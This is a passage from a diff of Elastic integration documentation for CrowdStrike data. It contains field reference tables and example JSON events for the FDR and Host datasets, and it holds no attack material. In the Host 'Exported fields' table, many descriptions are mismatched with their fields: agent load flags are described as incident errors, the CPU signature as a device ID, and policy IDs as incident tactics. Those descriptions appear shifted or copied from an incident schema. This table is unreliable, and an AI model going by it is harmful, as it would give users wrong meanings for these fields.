Protocol Number. | keyword | +| network.transport | Same as network.iana_number, but instead using the Keyword name of the transport layer (udp, tcp, ipv6-icmp, etc.) The field value must be normalized to lowercase for querying. | keyword | +| observer.address | | keyword | +| observer.geo.city_name | City name. | keyword | +| observer.geo.continent_name | Name of the continent. | keyword | +| observer.geo.country_iso_code | Country ISO code. | keyword | +| observer.geo.country_name | Country name. | keyword | +| observer.geo.location | Longitude and latitude. | geo_point | +| observer.geo.region_iso_code | Region ISO code. | keyword | +| observer.geo.region_name | Region name. | keyword | +| observer.ip | IP addresses of the observer. | ip | +| observer.serial_number | Observer serial number. | keyword | +| observer.type | The type of the observer the data is coming from. There is no predefined list of observer types. Some examples are `forwarder`, `firewall`, `ids`, `ips`, `proxy`, `poller`, `sensor`, `APM server`. | constant_keyword | +| observer.vendor | Vendor name of the observer. | constant_keyword | +| observer.version | Observer version. | keyword | +| process.Ext.token.integrity_level_name | Human readable integrity level. | keyword | +| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword | +| process.args_count | Length of the process.args array. This field can be useful for querying or performing bucket analysis on how many arguments were provided to start a process. More arguments may be an indication of suspicious activity. | long | +| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard | +| process.command_line.text | Multi-field of `process.command_line`. | match_only_text | +| process.end | The time the process ended. | date | +| process.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword | +| process.executable | Absolute path to the process executable. | keyword | +| process.executable.caseless | Multi-field of `process.executable`. | keyword | +| process.executable.text | Multi-field of `process.executable`. | match_only_text | +| process.exit_code | The exit code of the process, if this is a termination event. The field should be absent if there is no exit code for the event (e.g. process start). | long | +| process.group.id | | keyword | +| process.hash.md5 | MD5 hash. | keyword | +| process.hash.sha256 | SHA256 hash. | keyword | +| process.name | Process name. Sometimes called program name or similar. | keyword | +| process.name.caseless | Multi-field of `process.name`. | keyword | +| process.name.text | Multi-field of `process.name`. | match_only_text | +| process.parent.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword | +| process.parent.name | Process name. Sometimes called program name or similar. | keyword | +| process.parent.name.text | Multi-field of `process.parent.name`. | match_only_text | +| process.pgid | Deprecated for removal in next major version release. This field is superseded by `process.group_leader.pid`. Identifier of the group of processes the process belongs to. | long | +| process.pid | Process id. | long | +| process.start | The time the process started. | date | +| process.thread.id | Thread ID. | long | +| process.title | Process title. The proctitle, some times the same as process name. Can also be different: for example a browser setting its title to the web page currently opened. | keyword | +| process.title.text | Multi-field of `process.title`. | match_only_text | +| process.uptime | Seconds the process has been up. | long | +| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword | +| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword | +| related.ip | All of the IPs seen on your event. | ip | +| related.user | All the user names or other user identifiers seen on the event. | keyword | +| server.address | Some event server addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket. You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword | +| server.domain | The domain name of the server system. This value may be a host name, a fully qualified domain name, or another host naming format. The value may derive from the original event or be added from enrichment. | keyword | +| server.registered_domain | The highest registered server domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword | +| server.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain. In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword | +| server.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword | +| source.address | Some event source addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket. You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword | +| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | +| source.as.organization.name | Organization name. | keyword | +| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text | +| source.geo.city_name | City name. | keyword | +| source.geo.continent_name | Name of the continent. | keyword | +| source.geo.country_iso_code | Country ISO code. | keyword | +| source.geo.country_name | Country name. | keyword | +| source.geo.location | Longitude and latitude. | geo_point | +| source.geo.region_iso_code | Region ISO code. | keyword | +| source.geo.region_name | Region name. | keyword | +| source.ip | IP address of the source (IPv4 or IPv6). | ip | +| source.mac | MAC address of the source. The notation format from RFC 7042 is suggested: Each octet (that is, 8-bit byte) is represented by two [uppercase] hexadecimal digits giving the value of the octet as an unsigned integer. Successive octets are separated by a hyphen. | keyword | +| source.port | Port of the source. | long | +| tags | List of keywords used to tag each event. | keyword | +| url.domain | Domain of the url, such as "www.elastic.co". In some cases a URL may refer to an IP and/or port directly, without a domain name. In this case, the IP address would go to the `domain` field. If the URL contains a literal IPv6 address enclosed by `[` and `]` (IETF RFC 2732), the `[` and `]` characters should also be captured in the `domain` field. | keyword | +| url.extension | The field contains the file extension from the original request url, excluding the leading dot. The file extension is only set if it exists, as not every url has a file extension. The leading period must not be included. For example, the value must be "png", not ".png". Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword | +| url.original | Unmodified original url as seen in the event source. Note that in network monitoring, the observed URL may be a full URL, whereas in access logs, the URL is often just represented as a path. This field is meant to represent the URL as it was observed, complete or not. | wildcard | +| url.original.text | Multi-field of `url.original`. | match_only_text | +| url.path | Path of the request, such as "/search". | wildcard | +| url.registered_domain | The highest registered url domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword | +| url.scheme | Scheme of the request, such as "https". Note: The `:` is not part of the scheme. | keyword | +| url.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain. In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword | +| url.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword | +| user.Ext.real.id | One or multiple unique identifiers of the user. | keyword | +| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword | +| user.email | User email address. | keyword | +| user.full_name | User's full name, if available. | keyword | +| user.full_name.text | Multi-field of `user.full_name`. | match_only_text | +| user.group.id | Unique identifier for the group on the system/platform. | keyword | +| user.id | Unique identifier of the user. | keyword | +| user.name | Short name or login of the user. | keyword | +| user.name.text | Multi-field of `user.name`. | match_only_text | + + +An example event for `fdr` looks as following: + +```json +{ + "@timestamp": "2020-10-01T09:58:32.519Z", + "agent": { + "id": "71e71f16-ae08-46e3-a58e-a7d14e974950", + "name": "elastic-agent-30302", + "type": "filebeat", + "version": "8.18.0" + }, + "aws": { + "s3": { + "bucket": { + "name": "elastic-package-crowdstrike-fdr-30445" + }, + "object": { + "key": "data" + } + } + }, + "crowdstrike": { + "AuthenticationId": "3783389", + "ConfigStateHash": "3998263252", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "ImageSubsystem": "2", + "IntegrityLevel": "4096", + "MD5HashData": "50d5fd1290d94d46acca0585311e74d5", + "ParentAuthenticationId": "3783389", + "ProcessCreateFlags": "525332", + "ProcessParameterFlags": "16385", + "ProcessSxsFlags": "1600", + "RpcClientProcessId": "2439558094566", + "SHA256HashData": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", + "SessionId": "1", + "SourceProcessId": "2439558094566", + "SourceThreadId": "77538684027214", + "Tags": [ + "41", + "12094627905582", + "12094627906234" + ], + "TokenType": "2", + "WindowFlags": "128", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-8462-02ade3b2f949", + "info": { + "host": { + "AgentLoadFlags": "1", + "AgentLocalTime": "1697775225", + "AgentTimeOffset": "15889.017", + "AgentVersion": "7.01.13922.0", + "BiosManufacturer": "Iris", + "BiosVersion": "vG17V.21040423/z64", + "ChassisType": "Other", + "City": "Chicago", + "ConfigBuild": "1007.3.0017312.1", + "ConfigIDBuild": "13922", + "Continent": "North America", + "Country": "United States of America", + "FalconGroupingTags": "'FalconGroupingTags/AMERICA'", + "FirstSeen": "1628678052.0", + "HostHiddenStatus": "Visible", + "MachineDomain": "groot.org", + "OU": "Servers;America;Offices", + "PointerSize": "8", + "ProductType": "3.0", + "ServicePackMajor": "0", + "SiteName": "BCL", + "SystemManufacturer": "Iris", + "SystemProductName": "IrOS", + "Time": "1697992719.22", + "Timezone": "America/Chicago", + "Version": "Windows Server 2021", + "cid": "ffffffff30a3407dae27d0503611022d", + "event_platform": "Win" + }, + "user": { + "AccountType": "Domain User", + "LastLoggedOnHost": "COMPUTER1", + "LocalAdminAccess": "No", + "LogonInfo": "Domain User Logon", + "LogonTime": "1702546155.197", + "LogonType": "Interactive", + "PasswordLastSet": "1699971198.062", + "User": "DOMAIN\\BRADLEYA", + "UserIsAdmin": "0", + "UserLogonFlags_decimal": "0", + "_time": "1702546168.576", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "event_platform": "Win", + "monthsincereset": "1.0" + } + }, + "name": "ProcessRollup2V18" + }, + "data_stream": { + "dataset": "crowdstrike.fdr", + "namespace": "77613", + "type": "logs" + }, + "device": { + "id": "ffffffff655344736aca58d17fb570f0" + }, + "elastic_agent": { + "id": "71e71f16-ae08-46e3-a58e-a7d14e974950", + "snapshot": false, + "version": "8.18.0" + }, + "event": { + "action": "ProcessRollup2", + "agent_id_status": "verified", + "category": [ + "process" + ], + "created": "2020-10-01T09:58:32.519Z", + "dataset": "crowdstrike.fdr", + "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d", + "ingested": "2025-08-27T05:55:29Z", + "kind": "event", + "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1601546312519\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "ip": [ + "16.15.12.10" + ], + "name": "FEVWSN1-234", + "os": { + "type": "windows" + } + }, + "input": { + "type": "aws-s3" + }, + "message": "ProcessRollup2", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff655344736aca58d17fb570f0", + "version": "1007.3.0012309.1" + }, + "process": { + "Ext": { + "token": { + "integrity_level_name": "LOW" + } + }, + "args": [ + "C:\\WINDOWS\\system32\\backgroundTaskHost.exe", + "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca" + ], + "args_count": 2, + "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca", + "entity_id": "2450046082233", + "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe", + "hash": { + "md5": "50d5fd1290d94d46acca0585311e74d5", + "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37" + }, + "name": "backgroundTaskHost.exe", + "parent": { + "entity_id": "2439558094566", + "name": "svchost.exe" + }, + "pid": 22272, + "start": "2020-11-08T17:06:21.648Z" + }, + "related": { + "hash": [ + "50d5fd1290d94d46acca0585311e74d5", + "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", + "3998263252" + ], + "hosts": [ + "FEVWSN1-234", + "COMPUTER1" + ], + "ip": [ + "67.43.156.14", + "16.15.12.10" + ], + "user": [ + "Alan-One", + "DOMAIN\\BRADLEYA", + "S-1-12-1-3697283754-1083485977-2164330645-2516515886" + ] + }, + "tags": [ + "preserve_original_event", + "forwarded", + "crowdstrike-fdr" + ], + "user": { + "domain": "DOMAIN", + "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886", + "name": "Alan-One" + } +} +``` + +### Host + +This is the `Host` dataset. + +#### Example + +An example event for `host` looks as following: + +```json +{ + "@timestamp": "2023-11-07T10:26:53.000Z", + "agent": { + "ephemeral_id": "ca93e106-c70b-45b7-a058-ee8f088d0c70", + "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc", + "name": "elastic-agent-18005", + "type": "filebeat", + "version": "8.18.0" + }, + "crowdstrike": { + "host": { + "agent": { + "load_flags": "0", + "local_time": "2023-11-07T04:51:16.678Z", + "version": "7.05.17603.0" + }, + "bios": { + "manufacturer": "ABCInc.", + "version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)" + }, + "chassis_type": { + "desc": "Laptop", + "value": "9" + }, + "cid": "92012896127c4948236ba7601b886b0", + "config_id": { + "base": "6594763", + "build": "1703", + "platform": "4" + }, + "connection_ip": "81.2.69.192", + "cpu_signature": "460517", + "device_policies": { + "device_control": { + "applied": true, + "applied_date": "2023-06-20T08:45:26.341Z", + "assigned_date": "2023-06-20T08:43:47.736Z", + "policy_id": "2f88daf0177f467dae69262a5ce71775", + "policy_type": "device-control" + }, + "firewall": { + "applied": true, + "applied_date": "2023-09-11T10:33:44.174Z", + "assigned_date": "2023-09-11T10:32:47.853Z", + "policy": { + "id": "1ee301f7e3e24e96ad6a23c73aaac1e3", + "type": "firewall" + }, + "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3" + }, + "global_config": { + "applied": true, + "applied_date": "2023-11-07T04:52:59.515Z", + "assigned_date": "2023-11-07T04:51:18.946Z", + "policy": { + "id": "7e3078b60976486cac5dc998808d9135", + "type": "globalconfig" + }, + "settings_hash": "f01def74" + }, + "prevention": { + "applied": true, + "applied_date": "2023-06-08T10:04:47.643Z", + "assigned_date": "2023-06-08T10:03:49.505Z", + "policy": { + "id": "1024fac1b279424fa7300b8ac2d56be5", + "type": "prevention" + }, + "settings_hash": "f7a54ca1" + }, + "remote_response": { + "applied": true, + "applied_date": "2023-06-08T10:04:47.017Z", + "assigned_date": "2023-06-08T10:03:49.505Z", + "policy": { + "id": "dabb4def99034f11b9b3d52271584c9f", + "type": "remote-response" + }, + "settings_hash": "8a548e5e" + }, + "sensor_update": { + "applied": true, + "applied_date": "2023-11-07T04:52:59.659Z", + "assigned_date": "2023-11-07T04:47:43.342Z", + "policy": { + "id": "64bfa2bbcd4e46da92a66b107933da11", + "type": "sensor-update" + }, + "settings_hash": "tagged|18;101", + "uninstall_protection": "ENABLED" + } + }, + "external_ip": "81.2.69.192", + "first_seen": "2023-06-08T10:00:19.000Z", + "group_hash": "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77", + "groups": [ + "182388a8dbea4c44b5e019cfd32c2695" + ], + "hostname": "CLM101-131.local", + "id": "3114433dbce478ca48d9a828b9b34be", + "kernel_version": "22.6.0", + "last_seen": "2023-11-07T10:25:24.000Z", + "local_ip": "81.2.69.142", + "mac_address": "14-7D-DA-AD-AC-71", + "machine_domain": "SYS", + "major_version": "22", + "meta": { + "version": "6002", + "version_string": "7:43570272778" + }, + "minor_version": "6", + "modified_timestamp": "2023-11-07T10:26:53.000Z", + "os": { + "build": "22G120", + "version": "Ventura(13)" + }, + "platform": { + "id": "1", + "name": "Mac" + }, + "policies": [ + { + "applied": true, + "applied_date": "2023-06-08T10:04:47.643Z", + "assigned_date": "2023-06-08T10:03:49.505Z", + "policy": { + "id": "1024fac1b279424fa7300b8ac2d56be5", + "type": "prevention" + }, + "settings_hash": "f7a54ca1" + } + ], + "product_type_desc": "Workstation", + "provision_status": "Provisioned", + "reduced_functionality_mode": "no", + "serial_number": "FVFDH73HMNHX", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system": { + "manufacturer": "ABCInc.", + "product_name": "Air,1" + }, + "tags": [ + "tags" + ] + } + }, + "data_stream": { + "dataset": "crowdstrike.host", + "namespace": "67537", + "type": "logs" + }, + "device": { + "id": "3114433dbce478ca48d9a828b9b34be" + }, + "ecs": { + "version": "8.17.0" + }, + "elastic_agent": { + "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc", + "snapshot": true, + "version": "8.18.0" + }, + "event": { + "agent_id_status": "verified", + "category": [ + "host" + ], + "dataset": "crowdstrike.host", + "ingested": "2025-11-27T09:36:28Z", + "kind": "event", + "original": "{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-11-07T04:51:16.678Z\",\"agent_version\":\"7.05.17603.0\",\"bios_manufacturer\":\"ABCInc.\",\"bios_version\":\"2020.0.1.0.0(iBridge:22.11.000.0.0,0)\",\"chassis_type\":\"9\",\"chassis_type_desc\":\"Laptop\",\"cid\":\"92012896127c4948236ba7601b886b0\",\"config_id_base\":\"6594763\",\"config_id_build\":\"1703\",\"config_id_platform\":\"4\",\"connection_ip\":\"81.2.69.192\",\"cpu_signature\":\"460517\",\"device_id\":\"3114433dbce478ca48d9a828b9b34be\",\"device_policies\":{\"device_control\":{\"applied\":true,\"applied_date\":\"2023-06-20T08:45:26.341093915Z\",\"assigned_date\":\"2023-06-20T08:43:47.736146738Z\",\"policy_id\":\"2f88daf0177f467dae69262a5ce71775\",\"policy_type\":\"device-control\"},\"firewall\":{\"applied\":true,\"applied_date\":\"2023-09-11T10:33:44.174488832Z\",\"assigned_date\":\"2023-09-11T10:32:47.853976945Z\",\"policy_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\",\"policy_type\":\"firewall\",\"rule_set_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\"},\"global_config\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.515775409Z\",\"assigned_date\":\"2023-11-07T04:51:18.94671252Z\",\"policy_id\":\"7e3078b60976486cac5dc998808d9135\",\"policy_type\":\"globalconfig\",\"settings_hash\":\"f01def74\"},\"prevention\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"},\"remote_response\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.01735027Z\",\"assigned_date\":\"2023-06-08T10:03:49.505163572Z\",\"policy_id\":\"dabb4def99034f11b9b3d52271584c9f\",\"policy_type\":\"remote-response\",\"settings_hash\":\"8a548e5e\"},\"sensor_update\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.659583066Z\",\"assigned_date\":\"2023-11-07T04:47:43.342175341Z\",\"policy_id\":\"64bfa2bbcd4e46da92a66b107933da11\",\"policy_type\":\"sensor-update\",\"settings_hash\":\"tagged|18;101\",\"uninstall_protection\":\"ENABLED\"}},\"external_ip\":\"81.2.69.192\",\"first_seen\":\"2023-06-08T10:00:19Z\",\"group_hash\":\"b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77\",\"groups\":[\"182388a8dbea4c44b5e019cfd32c2695\"],\"hostname\":\"CLM101-131.local\",\"kernel_version\":\"22.6.0\",\"last_seen\":\"2023-11-07T10:25:24Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"14-7d-da-ad-ac-71\",\"machine_domain\":\"SYS\",\"major_version\":\"22\",\"meta\":{\"version\":\"6002\",\"version_string\":\"7:43570272778\"},\"minor_version\":\"6\",\"modified_timestamp\":\"2023-11-07T10:26:53Z\",\"os_build\":\"22G120\",\"os_version\":\"Ventura(13)\",\"platform_id\":\"1\",\"platform_name\":\"Mac\",\"policies\":[{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"}],\"product_type_desc\":\"Workstation\",\"provision_status\":\"Provisioned\",\"reduced_functionality_mode\":\"no\",\"serial_number\":\"FVFDH73HMNHX\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"ABCInc.\",\"system_product_name\":\"Air,1\",\"tags\":[\"tags\"]}", + "type": [ + "info" + ] + }, + "host": { + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "hostname": "CLM101-131.local", + "id": "3114433dbce478ca48d9a828b9b34be", + "ip": [ + "81.2.69.192" + ], + "mac": [ + "14-7D-DA-AD-AC-71" + ], + "os": { + "full": "Ventura(13)", + "platform": "Mac", + "type": "macos" + } + }, + "input": { + "type": "cel" + }, + "related": { + "hash": [ + "f01def74", + "f7a54ca1", + "8a548e5e", + "tagged|18;101", + "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77" + ], + "hosts": [ + "CLM101-131.local", + "SYS" + ], + "ip": [ + "81.2.69.192", + "81.2.69.142" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "forwarded", + "crowdstrike-host" + ] +} +``` + +**Exported fields** + +| Field | Description | Type | +|---|---|---| +| @timestamp | Event timestamp. | date | +| crowdstrike.host.agent.load_flags | Any errors associated with the incident. | keyword | +| crowdstrike.host.agent.local_time | The fine score associated with the incident. | date | +| crowdstrike.host.agent.version | The list of host IDs associated with the incident. | keyword | +| crowdstrike.host.bios.manufacturer | Flags indicating the load status of the agent on the host. | keyword | +| crowdstrike.host.bios.version | The local time on the host where the agent is running. | keyword | +| crowdstrike.host.chassis_type.desc | The version of the agent running on the host. | keyword | +| crowdstrike.host.chassis_type.value | The manufacturer of the BIOS on the host. | keyword | +| crowdstrike.host.cid | The version of the BIOS on the host. | keyword | +| crowdstrike.host.config_id.base | The customer ID associated with the host. | keyword | +| crowdstrike.host.config_id.build | The base configuration ID associated with the host. | keyword | +| crowdstrike.host.config_id.platform | The build configuration ID associated with the host. | keyword | +| crowdstrike.host.connection_ip | The platform configuration ID associated with the host. | ip | +| crowdstrike.host.cpu_signature | The device ID associated with the host. | keyword | +| crowdstrike.host.device_policies.device_control.applied | Timestamp indicating when the host was first seen. | boolean | +| crowdstrike.host.device_policies.device_control.applied_date | The groups associated with the host. | date | +| crowdstrike.host.device_policies.device_control.assigned_date | Timestamp indicating when the host was last seen. | date | +| crowdstrike.host.device_policies.device_control.policy_id | The local IP address of the host. | keyword | +| crowdstrike.host.device_policies.device_control.policy_type | The domain to which the machine belongs. | keyword | +| crowdstrike.host.device_policies.firewall.applied | The major version of the operating system on the host. | boolean | +| crowdstrike.host.device_policies.firewall.applied_date | The minor version of the operating system on the host. | date | +| crowdstrike.host.device_policies.firewall.assigned_date | Timestamp indicating when the host information was last modified. | date | +| crowdstrike.host.device_policies.firewall.policy.id | The organizational units associated with the host. | keyword | +| crowdstrike.host.device_policies.firewall.policy.type | The platform ID of the host. | keyword | +| crowdstrike.host.device_policies.firewall.rule_set_id | The platform name of the host. | keyword | +| crowdstrike.host.device_policies.global_config.applied | The description of the product type of the host. | boolean | +| crowdstrike.host.device_policies.global_config.applied_date | The product type of the host. | date | +| crowdstrike.host.device_policies.global_config.assigned_date | The site name associated with the host. | date | +| crowdstrike.host.device_policies.global_config.policy.id | The status of the host. | keyword | +| crowdstrike.host.device_policies.global_config.policy.type | The manufacturer of the system on the host. | keyword | +| crowdstrike.host.device_policies.global_config.settings_hash | The product name of the system on the host. | keyword | +| crowdstrike.host.device_policies.prevention.applied | The objectives associated with the incident. | boolean | +| crowdstrike.host.device_policies.prevention.applied_date | The state of the incident, whether open or closed. | date | +| crowdstrike.host.device_policies.prevention.assigned_date | The status of the incident. | date | +| crowdstrike.host.device_policies.prevention.policy.id | The tactics associated with the incident. | keyword | +| crowdstrike.host.device_policies.prevention.policy.type | The techniques associated with the incident. | keyword | +| crowdstrike.host.device_policies.prevention.rule_groups | The type of incident. | keyword | +| crowdstrike.host.device_policies.prevention.settings_hash | The users associated with the incident. | keyword | +| crowdstrike.host.device_policies.remote_response.applied | | boolean | +| crowdstrike.host.device_policies.remote_response.applied_date | | date | +| crowdstrike.host.device_policies.remote_response.assigned_date | | date | +| crowdstrike.host.device_policies.remote_response.policy.id | | keyword | +| crowdstrike.host.device_policies.remote_response.policy.type | | keyword | +| crowdstrike.host.device_policies.remote_response.settings_hash | | keyword | +| crowdstrike.host.device_policies.sensor_update.applied | | boolean | +| crowdstrike.host.device_policies.sensor_update.applied_date | | date | +| crowdstrike.host.device_policies.sensor_update.assigned_date | | date | +| crowdstrike.host.device_policies.sensor_update.policy.id | | keyword | +| crowdstrike.host.device_policies.sensor_update.policy.type | | keyword | +| crowdstrike.host.device_policies.sensor_update.settings_hash | | keyword | +| crowdstrike.host.device_policies.sensor_update.uninstall_protection | | keyword | +| crowdstrike.host.external_ip | The external IP address of the host. | ip | +| crowdstrike.host.first_seen | | date | +| crowdstrike.host.group_hash | | keyword | +| crowdstrike.host.groups | | keyword | +| crowdstrike.host.hostname | The hostname of the host. | keyword | +| crowdstrike.host.id | Timestamp indicating when the incident started. | keyword | +| crowdstrike.host.kernel_version | | keyword | +| crowdstrike.host.last_seen | | date | +| crowdstrike.host.local_ip | | ip | +| crowdstrike.host.mac_address | The MAC address of the host. | keyword | +| crowdstrike.host.machine_domain | | keyword | +| crowdstrike.host.major_version | | keyword | +| crowdstrike.host.meta.version | | keyword | +| crowdstrike.host.meta.version_string | | keyword | +| crowdstrike.host.minor_version | | keyword | +| crowdstrike.host.modified_timestamp | Timestamp indicating when the incident was created. | date | +| crowdstrike.host.os.build | | keyword | +| crowdstrike.host.os.version | The version of the operating system on the host. | keyword | +| crowdstrike.host.ou | The organizational unit of the host as seen by the sensor. | keyword | +| crowdstrike.host.platform.id | | keyword | +| crowdstrike.host.platform.name | The identifier associated with the customer. | keyword | +| crowdstrike.host.policies.applied | | boolean | +| crowdstrike.host.policies.applied_date | | date | +| crowdstrike.host.policies.assigned_date | | date | +| crowdstrike.host.policies.policy.id | | keyword | +| crowdstrike.host.policies.policy.type | | keyword | +| crowdstrike.host.policies.rule_groups | | keyword | +| crowdstrike.host.policies.settings_hash | | keyword | +| crowdstrike.host.product_type_desc | | keyword | +| crowdstrike.host.provision_status | | keyword | +| crowdstrike.host.reduced_functionality_mode | | keyword | +| crowdstrike.host.serial_number | | keyword | +| crowdstrike.host.site_name | | keyword | +| crowdstrike.host.status | | keyword | +| crowdstrike.host.system.manufacturer | | keyword | +| crowdstrike.host.system.product_name | | keyword | +| crowdstrike.host.tags | | keyword | 